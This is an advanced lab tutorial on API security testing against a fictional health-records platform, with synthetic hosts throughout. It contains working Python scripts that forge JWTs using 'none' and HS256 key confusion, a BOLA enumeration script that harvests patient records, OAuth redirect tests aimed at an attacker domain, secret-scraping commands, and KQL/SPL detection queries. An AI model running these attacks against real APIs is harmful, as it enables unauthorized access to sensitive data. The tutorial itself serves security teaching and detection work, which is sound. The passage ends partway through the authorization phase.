Lab 28: API Security Testing — OWASP API Top 10 Attacks & Defenses¶
Chapter: 52 — API Security Framework | 44 — Web App Pentesting Difficulty: ⭐⭐⭐⭐ Advanced Estimated Time: 5–7 hours Prerequisites: Chapter 52, Chapter 44, HTTP fundamentals, JSON/REST basics, basic Python scripting
Overview¶
In this lab you will:
- Perform API reconnaissance — discover endpoints via Swagger/OpenAPI enumeration, detect API versioning schemes, fingerprint backend technologies, and map the complete API attack surface
- Execute authentication bypass attacks — exploit JWT algorithm confusion (
nonealgorithm, RS256-to-HS256 key confusion), manipulate OAuth authorization flows, and extract API keys from client-side code - Exploit authorization flaws — perform BOLA/IDOR attacks by manipulating object IDs, escalate privileges via Broken Function Level Authorization (BFLA), and abuse mass assignment to inject administrative fields
- Attack GraphQL APIs — leverage introspection queries to map the full schema, execute depth attacks with deeply nested queries, perform batching brute-force against authentication mutations, and exploit field suggestion leakage
- Implement defensive controls — configure JSON Schema input validation, deploy rate limiting, enforce JWT algorithm allowlisting, build proper authorization middleware, and apply API gateway security policies
- Build detection and monitoring — write KQL and SPL detection queries for every attack type, create WAF rules, configure API anomaly detection, and design API security monitoring dashboards
Synthetic Data Only
All data in this lab is 100% synthetic and fictional. All IP addresses use RFC 5737 (192.0.2.x, 198.51.100.x, 203.0.113.x) or RFC 1918 (10.x, 172.16.x, 192.168.x) reserved ranges. All domains use *.example or *.example.com. All credentials are testuser/REDACTED or admin/REDACTED. All JWT tokens, API keys, and secrets are completely fictitious. This lab is for defensive education only — never use these techniques against systems you do not own or without explicit written authorization.
Scenario¶
Engagement Brief — MedVault Health Technologies
Organization: MedVault Health Technologies (fictional) Domain: api.example.com (SYNTHETIC) GraphQL Endpoint: graphql.example.com (SYNTHETIC) REST API Base: https://api.example.com/v2 — 192.0.2.50 (SYNTHETIC) GraphQL API: https://graphql.example.com/query — 192.0.2.51 (SYNTHETIC) OAuth Server: https://auth.example.com — 192.0.2.52 (SYNTHETIC) API Gateway: https://gateway.example.com — 192.0.2.53 (SYNTHETIC) Internal API: https://internal-api.example.com — 10.10.50.100 (SYNTHETIC) Admin Portal: https://admin.example.com — 192.0.2.54 (SYNTHETIC) Engagement Type: API security assessment — OWASP API Top 10 coverage Scope: All public and authenticated REST/GraphQL API endpoints Out of Scope: Infrastructure, physical security, social engineering Test Window: 2026-05-12 08:00 – 2026-05-16 20:00 UTC Emergency Contact: soc@medvault.example.com (SYNTHETIC)
Summary: MedVault Health Technologies operates a patient health records platform exposing REST and GraphQL APIs consumed by a web dashboard, mobile applications, and third-party integrations. A recent penetration test flagged several OWASP API Top 10 findings. The CISO has authorized a focused API security assessment to validate vulnerabilities, demonstrate exploitation impact, and deliver detection engineering and hardening recommendations covering authentication, authorization, input validation, and monitoring.
Certification Relevance¶
Certification Mapping
This lab maps to objectives in the following certifications:
| Certification | Relevant Domains |
|---|---|
| CompTIA Security+ (SY0-701) | Domain 2: Threats, Vulnerabilities, and Mitigations (22%), Domain 4: Security Operations (28%) |
| CompTIA CySA+ (CS0-003) | Domain 2: Vulnerability Management (22%), Domain 3: Incident Response and Management (22%) |
| CompTIA PenTest+ (PT0-002) | Domain 3: Attacks and Exploits (30%), Domain 4: Reporting and Communication (18%) |
| CEH (Certified Ethical Hacker) | Module 14: Hacking Web Applications, Module 16: Hacking Web Servers |
| OSCP (Offensive Security Certified Professional) | Web Application Attacks, Active Information Gathering |
| SC-200 (Microsoft Security Operations Analyst) | KQL Detection, Custom Analytics Rules, Sentinel Workbooks |
| GWAPT (GIAC Web Application Penetration Tester) | API Testing, Authentication Flaws, Authorization Bypass |
Prerequisites¶
Required Tools¶
| Tool | Purpose | Version |
|---|---|---|
| curl | HTTP requests to API endpoints | Latest |
| httpie | Human-friendly HTTP client | 3.2+ |
| Python 3 + requests | Scripted API exploitation | 3.10+ |
| jq | JSON response parsing | 1.7+ |
| jwt_tool | JWT token analysis and manipulation | 2.6+ |
| Burp Suite Community | HTTP proxy and repeater | 2024.x |
| Postman | API collection testing | Latest |
| GraphQL Voyager | GraphQL schema visualization | Latest |
| nuclei | Template-based API vulnerability scanning | 3.0+ |
Required Knowledge¶
- HTTP methods (GET, POST, PUT, PATCH, DELETE) and status codes
- JSON data format and REST API conventions
- Basic understanding of JWT structure (header.payload.signature)
- OAuth 2.0 authorization flows (authorization code, implicit, client credentials)
- GraphQL query syntax basics
- Python scripting for HTTP requests
Lab Environment Setup¶
# Install Python dependencies
pip install requests pyjwt cryptography httpie
# Install jwt_tool
git clone https://github.com/ticarpi/jwt_tool.git /opt/jwt_tool
pip install -r /opt/jwt_tool/requirements.txt
# Verify connectivity to lab API (SYNTHETIC)
curl -s -o /dev/null -w "%{http_code}" https://api.example.com/v2/health
# Expected: 200
# Set environment variables for the lab
export API_BASE="https://api.example.com/v2"
export GQL_BASE="https://graphql.example.com/query"
export AUTH_BASE="https://auth.example.com"
ATT&CK Mapping Summary¶
| Phase | MITRE ATT&CK Technique | Technique ID |
|---|---|---|
| Reconnaissance | Active Scanning: Vulnerability Scanning | T1595.002 |
| Reconnaissance | Search Open Technical Databases | T1596 |
| Authentication Bypass | Valid Accounts: Cloud Accounts | T1078.004 |
| Authentication Bypass | Forge Web Credentials: Web Cookies | T1606.001 |
| Authentication Bypass | Steal Application Access Token | T1528 |
| Authorization Attacks | Abuse Elevation Control Mechanism | T1548 |
| Authorization Attacks | Access Token Manipulation | T1134 |
| GraphQL Exploitation | Gather Victim Network Information | T1590 |
| GraphQL Exploitation | Brute Force: Password Spraying | T1110.003 |
| Defense Evasion | Impersonation | T1656 |
| Collection | Data from Information Repositories | T1213 |
Phase 1: API Reconnaissance¶
Objectives¶
- Discover API endpoints through Swagger/OpenAPI specification enumeration
- Identify API versioning schemes and deprecated endpoints
- Fingerprint backend technology stack from response headers and error messages
- Map API parameters and data models from documentation
- Identify authentication mechanisms and rate limiting policies
ATT&CK Mapping¶
| Technique | ID | Tactic |
|---|---|---|
| Active Scanning: Vulnerability Scanning | T1595.002 | Reconnaissance |
| Search Open Technical Databases | T1596 | Reconnaissance |
| Gather Victim Host Information: Software | T1592.002 | Reconnaissance |
Step 1.1 — OpenAPI/Swagger Specification Discovery¶
Attackers begin by probing for publicly exposed API documentation. Many frameworks auto-generate OpenAPI specifications at predictable paths.
# Probe common OpenAPI/Swagger documentation paths
for path in /swagger.json /swagger/v1/swagger.json /openapi.json \
/api-docs /v2/api-docs /v3/api-docs \
/swagger-ui.html /swagger-ui/ /docs /redoc \
/.well-known/openapi.json /api/swagger.json \
/api/v1/swagger.json /api/v2/swagger.json \
/api/v3/swagger.json /graphql/schema; do
status=$(curl -s -o /dev/null -w "%{http_code}" "https://api.example.com${path}")
if [ "$status" != "404" ] && [ "$status" != "403" ]; then
echo "[+] Found: https://api.example.com${path} (HTTP $status)"
fi
done
Expected Output:
[+] Found: https://api.example.com/swagger.json (HTTP 200)
[+] Found: https://api.example.com/v2/api-docs (HTTP 200)
[+] Found: https://api.example.com/swagger-ui/ (HTTP 200)
[+] Found: https://api.example.com/docs (HTTP 301)
# Download and parse the OpenAPI specification
curl -s https://api.example.com/swagger.json | jq '.paths | keys[]' | sort
Expected Output:
"/v2/appointments"
"/v2/appointments/{id}"
"/v2/auth/login"
"/v2/auth/refresh"
"/v2/auth/register"
"/v2/documents/{id}/download"
"/v2/health"
"/v2/internal/admin/users"
"/v2/internal/metrics"
"/v2/patients"
"/v2/patients/{id}"
"/v2/patients/{id}/records"
"/v2/prescriptions"
"/v2/prescriptions/{id}"
"/v2/reports/generate"
"/v2/users/me"
"/v2/users/{id}"
Step 1.2 — API Versioning Detection¶
Test for older API versions that may lack security controls applied to newer versions.
# Enumerate API versions
for version in v1 v2 v3 v4 beta staging internal; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
"https://api.example.com/${version}/health")
if [ "$status" = "200" ] || [ "$status" = "401" ]; then
echo "[+] Active version: /${version}/ (HTTP $status)"
fi
done
Expected Output:
[+] Active version: /v1/ (HTTP 200)
[+] Active version: /v2/ (HTTP 200)
[+] Active version: /internal/ (HTTP 401)
# Compare v1 vs v2 — older versions often lack security controls
# Test if v1 requires authentication
curl -s -w "\nHTTP Status: %{http_code}\n" \
https://api.example.com/v1/patients
# Same endpoint on v2
curl -s -w "\nHTTP Status: %{http_code}\n" \
https://api.example.com/v2/patients
Expected Output:
// v1 — no authentication required (VULNERABLE)
[
{"id": 1001, "name": "Jane Doe", "dob": "1985-03-15"},
{"id": 1002, "name": "John Smith", "dob": "1990-07-22"}
]
HTTP Status: 200
// v2 — authentication required (SECURE)
{"error": "unauthorized", "message": "Bearer token required"}
HTTP Status: 401
Finding: API1:2023 — Broken Object Level Authorization
The v1 API endpoint returns patient data without any authentication, exposing sensitive health records. This is a critical finding — deprecated API versions must be decommissioned or protected with the same authentication requirements as current versions.
Step 1.3 — Technology Fingerprinting¶
Extract technology stack information from HTTP response headers and error messages.
Expected Output:
HTTP/2 200
server: nginx/1.24.0
x-powered-by: Express
x-request-id: 7f3a8b2c-1d4e-4f5a-9c8b-2e6d7f8a9b0c
x-ratelimit-limit: 100
x-ratelimit-remaining: 99
x-ratelimit-reset: 1715500800
content-type: application/json; charset=utf-8
strict-transport-security: max-age=31536000
x-content-type-options: nosniff
# Trigger error responses to gather stack information
curl -s https://api.example.com/v2/nonexistent-endpoint | jq .
Expected Output:
{
"error": "not_found",
"message": "Cannot GET /v2/nonexistent-endpoint",
"statusCode": 404,
"stack": "Error: Cannot GET /v2/nonexistent-endpoint\n at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)"
}
Finding: Stack Trace Exposure
The API leaks framework details (Express/Node.js) and file paths in error responses. Attackers use this to target framework-specific vulnerabilities. Stack traces must be suppressed in production (NODE_ENV=production).
Step 1.4 — Parameter Discovery and Endpoint Enumeration¶
# Enumerate accepted HTTP methods per endpoint
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X "$method" https://api.example.com/v2/patients)
echo "$method /v2/patients → HTTP $status"
done
Expected Output:
GET /v2/patients → HTTP 401
POST /v2/patients → HTTP 401
PUT /v2/patients → HTTP 405
PATCH /v2/patients → HTTP 405
DELETE /v2/patients → HTTP 405
OPTIONS /v2/patients → HTTP 204
HEAD /v2/patients → HTTP 401
# Extract CORS and allowed methods from OPTIONS response
curl -s -I -X OPTIONS https://api.example.com/v2/patients
Expected Output:
HTTP/2 204
access-control-allow-origin: *
access-control-allow-methods: GET, POST, PUT, PATCH, DELETE, OPTIONS
access-control-allow-headers: Content-Type, Authorization, X-API-Key
access-control-max-age: 86400
Finding: Overly Permissive CORS
Access-Control-Allow-Origin: * allows any website to make authenticated API requests on behalf of the user. This must be restricted to trusted origins.
Step 1.5 — Authenticated Endpoint Mapping¶
# Obtain a test token (SYNTHETIC — all credentials are fictitious)
TOKEN=$(curl -s -X POST https://api.example.com/v2/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"testuser","password":"REDACTED"}' | jq -r '.token')
echo "Token: ${TOKEN:0:20}..."
# Enumerate authenticated endpoints
for endpoint in /v2/users/me /v2/patients /v2/patients/1001 \
/v2/prescriptions /v2/appointments /v2/reports/generate \
/v2/internal/admin/users /v2/internal/metrics; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN" \
"https://api.example.com${endpoint}")
echo "[${status}] ${endpoint}"
done
Expected Output:
Token: eyJhbGciOiJSUzI1Ni...
[200] /v2/users/me
[200] /v2/patients
[200] /v2/patients/1001
[200] /v2/prescriptions
[200] /v2/appointments
[403] /v2/reports/generate
[403] /v2/internal/admin/users
[403] /v2/internal/metrics
Phase 1 — Detection Queries¶
KQL — API Reconnaissance Detection (Microsoft Sentinel)
// Detect API documentation enumeration attempts
let swagger_paths = dynamic([
"/swagger.json", "/openapi.json", "/api-docs",
"/swagger-ui", "/redoc", "/.well-known/openapi"
]);
ApiAccessLogs
| where TimeGenerated > ago(15m)
| where RequestPath has_any (swagger_paths)
| summarize
AttemptCount = count(),
PathsProbed = make_set(RequestPath),
StatusCodes = make_set(ResponseCode)
by SourceIP, bin(TimeGenerated, 5m)
| where AttemptCount >= 3
| extend AlertSeverity = "Medium",
AttackTechnique = "T1595.002 - Active Scanning"
| project TimeGenerated, SourceIP, AttemptCount, PathsProbed, StatusCodes, AlertSeverity
// Detect API version enumeration
ApiAccessLogs
| where TimeGenerated > ago(15m)
| where RequestPath matches regex @"/(v\d+|beta|staging|internal)/"
| summarize
VersionsTested = dcount(extract(@"/(v\d+|beta|staging|internal)/", 1, RequestPath)),
Paths = make_set(RequestPath),
RequestCount = count()
by SourceIP, bin(TimeGenerated, 5m)
| where VersionsTested >= 3
| extend AlertSeverity = "Medium"
SPL — API Reconnaissance Detection (Splunk)
index=api_logs sourcetype=api_access
| eval is_swagger=if(match(uri_path, "(?i)(swagger|openapi|api-docs|redoc|\.well-known)"), 1, 0)
| where is_swagger=1
| stats count AS attempt_count
values(uri_path) AS paths_probed
values(status) AS status_codes
dc(uri_path) AS unique_paths
by src_ip span=5m
| where attempt_count >= 3
| eval severity="Medium",
mitre_technique="T1595.002"
| Detect HTTP method enumeration against a single endpoint
index=api_logs sourcetype=api_access
| stats dc(http_method) AS method_count
values(http_method) AS methods_tested
count AS total_requests
by src_ip uri_path span=10m
| where method_count >= 4
| eval severity="Medium",
alert_title="HTTP Method Enumeration: ".uri_path
Phase 2: Authentication Bypass¶
Objectives¶
- Exploit JWT
nonealgorithm vulnerability to forge unsigned tokens - Perform RS256-to-HS256 algorithm confusion using the public key
- Manipulate OAuth authorization code flow to hijack sessions
- Extract API keys embedded in client-side JavaScript
- Identify and exploit broken authentication patterns
ATT&CK Mapping¶
| Technique | ID | Tactic |
|---|---|---|
| Forge Web Credentials: Web Cookies | T1606.001 | Credential Access |
| Steal Application Access Token | T1528 | Credential Access |
| Valid Accounts: Cloud Accounts | T1078.004 | Persistence |
| Unsecured Credentials: Credentials in Files | T1552.001 | Credential Access |
Step 2.1 — JWT Token Analysis¶
Decode and analyze the structure of the JWT received during authentication.
# Authenticate and capture the JWT (SYNTHETIC)
RESPONSE=$(curl -s -X POST https://api.example.com/v2/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"testuser","password":"REDACTED"}')
TOKEN=$(echo "$RESPONSE" | jq -r '.token')
# Decode JWT header (base64url decode)
echo "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null | jq .
Expected Output:
Expected Output:
{
"sub": "user-5847",
"username": "testuser",
"email": "testuser@example.com",
"role": "patient",
"permissions": ["read:own_records", "write:own_appointments"],
"iat": 1715500800,
"exp": 1715504400,
"iss": "https://auth.example.com",
"aud": "medvault-api"
}
Step 2.2 — JWT none Algorithm Attack¶
The none algorithm tells the server the token needs no signature verification. If the server accepts it, an attacker can forge any claim.
#!/usr/bin/env python3
"""JWT 'none' algorithm attack — EDUCATIONAL ONLY (SYNTHETIC)"""
import base64
import json
import requests
API_BASE = "https://api.example.com/v2" # SYNTHETIC
def base64url_encode(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
# Craft a JWT with alg: none and escalated privileges
header = {"alg": "none", "typ": "JWT"}
payload = {
"sub": "user-5847",
"username": "testuser",
"email": "testuser@example.com",
"role": "admin", # Escalated from "patient"
"permissions": ["admin:all", "read:all_records", "write:all"],
"iat": 1715500800,
"exp": 1715590800,
"iss": "https://auth.example.com",
"aud": "medvault-api"
}
# Build the unsigned JWT: header.payload.
forged_token = (
base64url_encode(json.dumps(header).encode()) + "." +
base64url_encode(json.dumps(payload).encode()) + "."
)
print(f"[*] Forged JWT (none algorithm):")
print(f" {forged_token[:60]}...")
# Attempt to use the forged token
response = requests.get(
f"{API_BASE}/users/me",
headers={"Authorization": f"Bearer {forged_token}"}
)
print(f"\n[*] Response Status: {response.status_code}")
print(f"[*] Response Body: {json.dumps(response.json(), indent=2)}")
if response.status_code == 200:
user_data = response.json()
if user_data.get("role") == "admin":
print("\n[!] CRITICAL: 'none' algorithm accepted — admin access achieved!")
else:
print("\n[+] Token accepted but role not escalated")
else:
print("\n[+] Server correctly rejected 'none' algorithm token")
Expected Output (Vulnerable Server):
[*] Forged JWT (none algorithm):
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJ1c2VyLTU4...
[*] Response Status: 200
[*] Response Body: {
"sub": "user-5847",
"username": "testuser",
"role": "admin",
"permissions": ["admin:all", "read:all_records", "write:all"]
}
[!] CRITICAL: 'none' algorithm accepted — admin access achieved!
Finding: API2:2023 — Broken Authentication
The API accepts JWTs with alg: none, allowing any user to forge tokens with arbitrary claims. This is a critical vulnerability — the server must maintain an explicit allowlist of accepted algorithms and reject all others.
Step 2.3 — RS256-to-HS256 Algorithm Confusion¶
When a server uses RS256 (asymmetric), the public key verifies tokens. If the server also accepts HS256 (symmetric), an attacker can sign a forged token using the public key as the HMAC secret.
# Step 1: Retrieve the server's public key (often exposed via JWKS)
curl -s https://auth.example.com/.well-known/jwks.json | jq .
Expected Output:
{
"keys": [
{
"kty": "RSA",
"kid": "medvault-key-2026-01",
"use": "sig",
"n": "wqN5K9PgQ...truncated...SYNTHETIC",
"e": "AQAB",
"alg": "RS256"
}
]
}
#!/usr/bin/env python3
"""RS256-to-HS256 algorithm confusion attack — EDUCATIONAL ONLY (SYNTHETIC)"""
import hmac
import hashlib
import base64
import json
import requests
API_BASE = "https://api.example.com/v2" # SYNTHETIC
def base64url_encode(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
# Step 1: Download the public key (PEM format)
# In a real engagement, convert JWKS to PEM or download from /public-key endpoint
PUBLIC_KEY_PEM = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0SYNTHETIC...
REDACTED...EXAMPLE...ONLY
-----END PUBLIC KEY-----"""
# Step 2: Forge a token with HS256 using the public key as HMAC secret
header = {"alg": "HS256", "typ": "JWT"}
payload = {
"sub": "user-5847",
"username": "testuser",
"role": "admin",
"permissions": ["admin:all"],
"iat": 1715500800,
"exp": 1715590800,
"iss": "https://auth.example.com",
"aud": "medvault-api"
}
# Encode header and payload
header_b64 = base64url_encode(json.dumps(header).encode())
payload_b64 = base64url_encode(json.dumps(payload).encode())
signing_input = f"{header_b64}.{payload_b64}".encode()
# Sign with HMAC-SHA256 using the public key as the secret
signature = hmac.new(
PUBLIC_KEY_PEM.encode(),
signing_input,
hashlib.sha256
).digest()
forged_token = f"{header_b64}.{payload_b64}.{base64url_encode(signature)}"
print(f"[*] Forged JWT (HS256 with public key as secret):")
print(f" {forged_token[:60]}...")
# Test the forged token
response = requests.get(
f"{API_BASE}/internal/admin/users",
headers={"Authorization": f"Bearer {forged_token}"}
)
print(f"\n[*] Admin endpoint status: {response.status_code}")
if response.status_code == 200:
print("[!] CRITICAL: Algorithm confusion successful — admin access!")
print(f"[*] Admin users: {json.dumps(response.json()[:2], indent=2)}")
else:
print("[+] Server correctly rejected HS256 token (algorithm pinned)")
Expected Output (Vulnerable Server):
[*] Forged JWT (HS256 with public key as secret):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyLTU4...
[*] Admin endpoint status: 200
[!] CRITICAL: Algorithm confusion successful — admin access!
[*] Admin users: [
{"id": "user-0001", "username": "admin", "role": "admin"},
{"id": "user-0002", "username": "sysadmin", "role": "admin"}
]
Step 2.4 — JWT Manipulation with jwt_tool¶
# Analyze the token with jwt_tool
python3 /opt/jwt_tool/jwt_tool.py "$TOKEN"
# Test all known JWT attacks automatically
python3 /opt/jwt_tool/jwt_tool.py "$TOKEN" -M at \
-t "https://api.example.com/v2/users/me" \
-rh "Authorization: Bearer"
# Tamper specific claims — change role to admin
python3 /opt/jwt_tool/jwt_tool.py "$TOKEN" -T \
-S hs256 -p "REDACTED-public-key" \
-pc role -pv admin
Expected Output:
[+] jwt_tool v2.6.1
[+] Token header:
{"alg": "RS256", "typ": "JWT", "kid": "medvault-key-2026-01"}
[+] Token payload:
{"sub": "user-5847", "username": "testuser", "role": "patient", ...}
[+] Signature verified: True
[+] Running all attack modes...
[!] VULNERABLE: "none" algorithm accepted
[!] VULNERABLE: HS256 key confusion possible
[+] NOT VULNERABLE: jwk injection
[+] NOT VULNERABLE: kid SQL injection
Step 2.5 — OAuth Flow Manipulation¶
# Step 1: Observe the legitimate OAuth authorization flow
curl -v "https://auth.example.com/authorize?\
client_id=medvault-web-app&\
redirect_uri=https://app.example.com/callback&\
response_type=code&\
scope=read:records write:appointments&\
state=random-csrf-token-abc123" 2>&1 | grep -i "location:"
Expected Output:
< Location: https://app.example.com/callback?code=AUTH_CODE_SYNTHETIC_XYZ&state=random-csrf-token-abc123
# Step 2: Test open redirect in redirect_uri (SYNTHETIC)
curl -s -o /dev/null -w "%{http_code}" \
"https://auth.example.com/authorize?\
client_id=medvault-web-app&\
redirect_uri=https://evil.example.com/steal&\
response_type=code&\
scope=read:records&\
state=attacker-state"
Expected Output (Vulnerable):
Finding: OAuth Redirect URI Manipulation
The authorization server does not strictly validate the redirect_uri parameter, allowing an attacker to redirect the authorization code to an attacker-controlled domain. The server must enforce an exact match against pre-registered redirect URIs.
# Step 3: Test for authorization code reuse
AUTH_CODE="AUTH_CODE_SYNTHETIC_XYZ"
# First use — should succeed
curl -s -X POST https://auth.example.com/token \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=authorization_code&code=${AUTH_CODE}&\
client_id=medvault-web-app&client_secret=REDACTED&\
redirect_uri=https://app.example.com/callback"
# Second use — should fail (but doesn't on vulnerable servers)
curl -s -X POST https://auth.example.com/token \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=authorization_code&code=${AUTH_CODE}&\
client_id=medvault-web-app&client_secret=REDACTED&\
redirect_uri=https://app.example.com/callback"
Step 2.6 — API Key Extraction from Client-Side Code¶
# Search client-side JavaScript for embedded API keys
curl -s https://app.example.com/ | grep -oE "api[_-]?key['\"]?\s*[:=]\s*['\"][a-zA-Z0-9_-]+['\"]"
Expected Output:
# Search JavaScript source maps for additional secrets
curl -s https://app.example.com/static/js/main.js.map | \
grep -oE "(api[_-]?key|secret|token|password|auth)['\"]?\s*[:=]\s*['\"][^'\"]+['\"]" | head -10
Expected Output:
apiKey="mk_live_SYNTHETIC_a1b2c3d4e5f6g7h8i9j0"
secret: 'jwt_signing_secret_SYNTHETIC_REDACTED'
token: 'internal-service-token-SYNTHETIC-REDACTED'
Finding: API8:2023 — Security Misconfiguration
API keys and secrets are embedded in client-side JavaScript and source maps. These credentials provide direct API access without user authentication. Secrets must never be included in client-side code — use backend-for-frontend (BFF) patterns or token exchange flows.
Phase 2 — Detection Queries¶
KQL — JWT Algorithm Attacks
// Detect JWT 'none' algorithm usage
ApiAccessLogs
| where TimeGenerated > ago(1h)
| where AuthHeader startswith "Bearer "
| extend JwtHeader = base64_decode_tostring(
extract(@"Bearer\s+([^.]+)\.", 1, AuthHeader))
| where JwtHeader has "\"none\""
or JwtHeader has "\"None\""
or JwtHeader has "\"NONE\""
or JwtHeader has "\"nOnE\""
| project TimeGenerated, SourceIP, RequestPath, UserAgent,
JwtHeader, ResponseCode
| extend AlertSeverity = "Critical",
AttackTechnique = "T1606.001 - Forge Web Credentials"
// Detect RS256-to-HS256 algorithm confusion
ApiAccessLogs
| where TimeGenerated > ago(1h)
| where AuthHeader startswith "Bearer "
| extend JwtHeader = base64_decode_tostring(
extract(@"Bearer\s+([^.]+)\.", 1, AuthHeader))
| extend ClaimedAlg = extract(@"""alg""\s*:\s*""([^""]+)""", 1, JwtHeader)
| where ClaimedAlg == "HS256"
and RequestPath has "admin" or RequestPath has "internal"
| project TimeGenerated, SourceIP, RequestPath, ClaimedAlg,
ResponseCode, UserAgent
| extend AlertSeverity = "Critical",
AttackTechnique = "T1606.001 - Algorithm Confusion"
SPL — JWT Algorithm Attacks
index=api_logs sourcetype=api_access
| rex field=auth_header "Bearer\s+(?<jwt_header>[^.]+)\."
| eval decoded_header=base64decode(jwt_header)
| search decoded_header="*\"alg\":\"none\"*" OR decoded_header="*\"alg\":\"None\"*"
| table _time src_ip uri_path decoded_header status user_agent
| eval severity="Critical",
mitre_technique="T1606.001",
alert_name="JWT None Algorithm Attack"
| Detect OAuth redirect_uri manipulation
index=auth_logs sourcetype=oauth_server action=authorize
| rex field=redirect_uri "https?://(?<redirect_domain>[^/]+)"
| lookup registered_redirect_uris client_id OUTPUT allowed_domains
| where NOT match(redirect_domain, allowed_domains)
| table _time src_ip client_id redirect_uri redirect_domain
| eval severity="High",
mitre_technique="T1528"
Phase 3: Authorization Attacks¶
Objectives¶
- Exploit Broken Object Level Authorization (BOLA/IDOR) by manipulating object identifiers
- Escalate privileges through Broken Function Level Authorization (BFLA)
- Abuse mass assignment to inject administrative fields into API requests
- Chain authorization flaws to achieve full data access
ATT&CK Mapping¶
| Technique | ID | Tactic |
|---|---|---|
| Abuse Elevation Control Mechanism | T1548 | Privilege Escalation |
| Access Token Manipulation | T1134 | Defense Evasion |
| Data from Information Repositories | T1213 | Collection |
| Exploitation for Privilege Escalation | T1068 | Privilege Escalation |
Step 3.1 — BOLA/IDOR Exploitation¶
Broken Object Level Authorization (BOLA), also known as Insecure Direct Object Reference (IDOR), occurs when the API does not verify that the authenticated user is authorized to access the specific object they request.
# Authenticate as testuser (patient role)
TOKEN=$(curl -s -X POST https://api.example.com/v2/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"testuser","password":"REDACTED"}' | jq -r '.token')
# Access our own patient record (ID: 1001) — should succeed
curl -s -H "Authorization: Bearer $TOKEN" \
https://api.example.com/v2/patients/1001 | jq .
Expected Output:
{
"id": 1001,
"name": "Test User",
"email": "testuser@example.com",
"dob": "1985-03-15",
"ssn": "***-**-5847",
"records": [
{"type": "lab_result", "date": "2026-03-15", "status": "normal"}
]
}
# Access another patient's record (ID: 1002) — SHOULD FAIL but doesn't
curl -s -H "Authorization: Bearer $TOKEN" \
https://api.example.com/v2/patients/1002 | jq .
Expected Output (Vulnerable):
{
"id": 1002,
"name": "Jane Doe",
"email": "janedoe@example.com",
"dob": "1990-07-22",
"ssn": "***-**-3921",
"records": [
{"type": "prescription", "date": "2026-04-01", "medication": "REDACTED"}
]
}
Finding: API1:2023 — Broken Object Level Authorization (Critical)
The /v2/patients/{id} endpoint does not verify that the authenticated user owns the requested patient record. By incrementing the ID parameter, an attacker can access any patient's health data — including SSN, medical records, and prescriptions. This is the #1 API vulnerability per OWASP.
#!/usr/bin/env python3
"""BOLA/IDOR enumeration script — EDUCATIONAL ONLY (SYNTHETIC)"""
import requests
import json
API_BASE = "https://api.example.com/v2" # SYNTHETIC
TOKEN = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.SYNTHETIC.REDACTED"
headers = {"Authorization": f"Bearer {TOKEN}"}
exposed_records = []
print("[*] Starting BOLA enumeration on /v2/patients/{id}")
print("[*] Testing IDs 1000-1050...\n")
for patient_id in range(1000, 1051):
response = requests.get(
f"{API_BASE}/patients/{patient_id}",
headers=headers
)
if response.status_code == 200:
data = response.json()
print(f"[+] ID {patient_id}: {data.get('name', 'Unknown')} — "
f"DOB: {data.get('dob', 'N/A')}")
exposed_records.append(data)
elif response.status_code == 404:
pass # Record doesn't exist
elif response.status_code == 403:
print(f"[-] ID {patient_id}: Access denied (properly protected)")
elif response.status_code == 429:
print(f"[!] ID {patient_id}: Rate limited — pausing")
break
print(f"\n[*] Total records accessed: {len(exposed_records)}")
print(f"[!] BOLA/IDOR confirmed — {len(exposed_records)} patient records exposed")
Expected Output:
[*] Starting BOLA enumeration on /v2/patients/{id}
[*] Testing IDs 1000-1050...
[+] ID 1001: Test User — DOB: 1985-03-15
[+] ID 1002: Jane Doe — DOB: 1990-07-22
[+] ID 1003: John Smith — DOB: 1978-11-08
[+] ID 1005: Maria Garcia — DOB: 1992-06-30
[+] ID 1007: Robert Chen — DOB: 1988-01-17
...
[*] Total records accessed: 34
[!] BOLA/IDOR confirmed — 34 patient records exposed
Step 3.2 — BOLA via Non-Sequential Identifiers¶
BOLA is not limited to sequential integer IDs. UUIDs, slugs, and other identifier formats are also vulnerable if authorization checks are missing.
# Test BOLA with UUID-based identifiers
curl -s -H "Authorization: Bearer $TOKEN" \
https://api.example.com/v2/documents/d4e5f6a7-b8c9-4d0e-a1f2-3b4c5d6e7f8g/download
# Test BOLA with slug-based identifiers
curl -s -H "Authorization: Bearer $TOKEN" \
https://api.example.com/v2/appointments/APT-2026-0415-SMITH
# Test BOLA on write operations (modify another user's appointment)
curl -s -X PATCH \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"status": "cancelled"}' \
https://api.example.com/v2/appointments/APT-2026-0415-SMITH
Expected Output (Vulnerable):
{
"id": "APT-2026-0415-SMITH",
"patient": "John Smith",
"status": "cancelled",
"message": "Appointment updated successfully"
}
Step 3.3 — Broken Function Level Authorization (BFLA)¶
BFLA occurs when the API does not properly restrict access to administrative functions based on the user's role.
# Attempt to access admin endpoints with a patient-role token
# List all users (admin function)
curl -s -H "Authorization: Bearer $TOKEN" \
https://api.example.com/v2/internal/admin/users | jq '.[:3]'
Expected Output (Vulnerable):
[
{
"id": "user-0001",
"username": "admin",
"email": "admin@example.com",
"role": "admin",
"last_login": "2026-04-05T08:30:00Z"
},
{
"id": "user-0002",
"username": "sysadmin",
"email": "sysadmin@example.com",
"role": "admin",
"last_login": "2026-04-04T22:15:00Z"
},
{
"id": "user-5847",
"username": "testuser",
"email": "testuser@example.com",
"role": "patient",
"last_login": "2026-04-05T10:00:00Z"
}
]
